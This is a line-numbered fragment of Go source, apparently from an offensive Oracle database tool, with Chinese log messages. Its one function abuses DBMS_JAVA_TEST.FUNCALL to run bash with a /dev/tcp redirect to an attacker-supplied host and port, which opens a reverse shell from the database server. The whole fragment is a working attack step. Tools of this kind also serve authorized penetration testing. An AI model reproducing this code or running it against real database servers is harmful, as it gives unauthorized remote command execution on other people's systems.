(conn *sql.DB, Lhost string, Lport string)
| 6 | ) |
| 7 | |
| 8 | func OracleFuncCallReverse(conn *sql.DB, Lhost string, Lport string) { |
| 9 | Info("通过dbms_java_test.funcall()反弹shell") |
| 10 | _, err := OracleCMD(fmt.Sprintf("Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','exec 9<> /dev/tcp/%s/%s;exec 0<&9;exec 1>&9 2>&1;/bin/bash') from dual ", Lhost, Lport), conn) |
| 11 | if err != nil { |
| 12 | Err(err) |
| 13 | } |
| 14 | Info("请查看是否收到shell") |
| 15 | } |